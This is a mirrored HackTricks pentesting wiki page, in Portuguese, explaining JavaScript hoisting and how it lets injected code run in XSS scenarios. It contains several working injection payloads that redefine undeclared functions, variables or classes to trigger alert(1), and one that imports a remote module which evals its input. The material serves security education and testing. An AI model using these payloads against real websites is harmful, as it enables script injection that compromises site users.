mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
138 lines
5.3 KiB
Markdown
138 lines
5.3 KiB
Markdown
# JS Hoisting
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Informações Básicas
|
||
|
||
Na linguagem JavaScript, um mecanismo conhecido como **Hoisting** é descrito onde declarações de variáveis, funções, classes ou imports são conceitualmente elevadas ao topo de seu escopo antes que o código seja executado. Esse processo é realizado automaticamente pelo motor JavaScript, que percorre o script em várias passagens.
|
||
|
||
Durante a primeira passagem, o motor analisa o código para verificar erros de sintaxe e o transforma em uma árvore de sintaxe abstrata. Esta fase inclui hoisting, um processo onde certas declarações são movidas para o topo do contexto de execução. Se a fase de análise for bem-sucedida, indicando que não há erros de sintaxe, a execução do script prossegue.
|
||
|
||
É crucial entender que:
|
||
|
||
1. O script deve estar livre de erros de sintaxe para que a execução ocorra. As regras de sintaxe devem ser estritamente seguidas.
|
||
2. A colocação do código dentro do script afeta a execução devido ao hoisting, embora o código executado possa diferir de sua representação textual.
|
||
|
||
#### Tipos de Hoisting
|
||
|
||
Com base nas informações do MDN, existem quatro tipos distintos de hoisting em JavaScript:
|
||
|
||
1. **Value Hoisting**: Permite o uso do valor de uma variável dentro de seu escopo antes de sua linha de declaração.
|
||
2. **Declaration Hoisting**: Permite referenciar uma variável dentro de seu escopo antes de sua declaração sem causar um `ReferenceError`, mas o valor da variável será `undefined`.
|
||
3. Este tipo altera o comportamento dentro de seu escopo devido à declaração da variável antes de sua linha de declaração real.
|
||
4. Os efeitos colaterais da declaração ocorrem antes que o restante do código que a contém seja avaliado.
|
||
|
||
Em detalhes, declarações de função exibem comportamento de hoisting do tipo 1. A palavra-chave `var` demonstra comportamento do tipo 2. Declarações lexicais, que incluem `let`, `const` e `class`, mostram comportamento do tipo 3. Por fim, declarações `import` são únicas na medida em que são hoisted com comportamentos tanto do tipo 1 quanto do tipo 4.
|
||
|
||
## Cenários
|
||
|
||
Portanto, se você tiver cenários onde pode **Injetar código JS após um objeto não declarado** ser usado, você poderia **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro):
|
||
```javascript
|
||
// The function vulnerableFunction is not defined
|
||
vulnerableFunction('test', '<INJECTION>');
|
||
// You can define it in your injection to execute JS
|
||
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
|
||
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
|
||
|
||
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
|
||
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
|
||
```
|
||
|
||
```javascript
|
||
// If a variable is not defined, you could define it in the injection
|
||
// In the following example var a is not defined
|
||
function myFunction(a,b){
|
||
return 1
|
||
};
|
||
myFunction(a, '<INJECTION>')
|
||
|
||
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
|
||
test'); var a = 1; alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// If an undeclared class is used, you cannot declare it AFTER being used
|
||
var variable = new unexploitableClass();
|
||
<INJECTION>
|
||
// But you can actually declare it as a function, being able to fix the syntax with something like:
|
||
function unexploitableClass() {
|
||
return 1;
|
||
}
|
||
alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// Properties are not hoisted
|
||
// So the following examples where the 'cookie' attribute doesn´t exist
|
||
// cannot be fixed if you can only inject after that code:
|
||
test.cookie("leo", "INJECTION")
|
||
test[("cookie", "injection")]
|
||
```
|
||
## Mais Cenários
|
||
```javascript
|
||
// Undeclared var accessing to an undeclared method
|
||
x.y(1,INJECTION)
|
||
// You can inject
|
||
alert(1));function x(){}//
|
||
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
|
||
x.y(1,alert(1));function x(){}//)
|
||
```
|
||
|
||
```javascript
|
||
// Undeclared var accessing 2 nested undeclared method
|
||
x.y.z(1,INJECTION)
|
||
// You can inject
|
||
");import {x} from "https://example.com/module.js"//
|
||
// It will be executed
|
||
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
|
||
|
||
|
||
// The imported module:
|
||
// module.js
|
||
var x = {
|
||
y: {
|
||
z: function(param) {
|
||
eval(param);
|
||
}
|
||
}
|
||
};
|
||
|
||
export { x };
|
||
```
|
||
|
||
```javascript
|
||
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
|
||
// It was injected the: let config;`-alert(1)`//`
|
||
// With the goal of making in the block the var config be empty, so the return is not executed
|
||
// And the same injection was replicated in the body URL to execute an alert
|
||
|
||
try {
|
||
if (config) {
|
||
return
|
||
}
|
||
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
|
||
let config
|
||
;`-alert(1)` //`+"
|
||
} catch {
|
||
fetch("/error", {
|
||
method: "POST",
|
||
body: {
|
||
url:
|
||
"https://try-to-catch.glitch.me/" +
|
||
`
|
||
let config;` -
|
||
alert(1) -
|
||
`//` +
|
||
"",
|
||
},
|
||
})
|
||
}
|
||
```
|
||
## Referências
|
||
|
||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|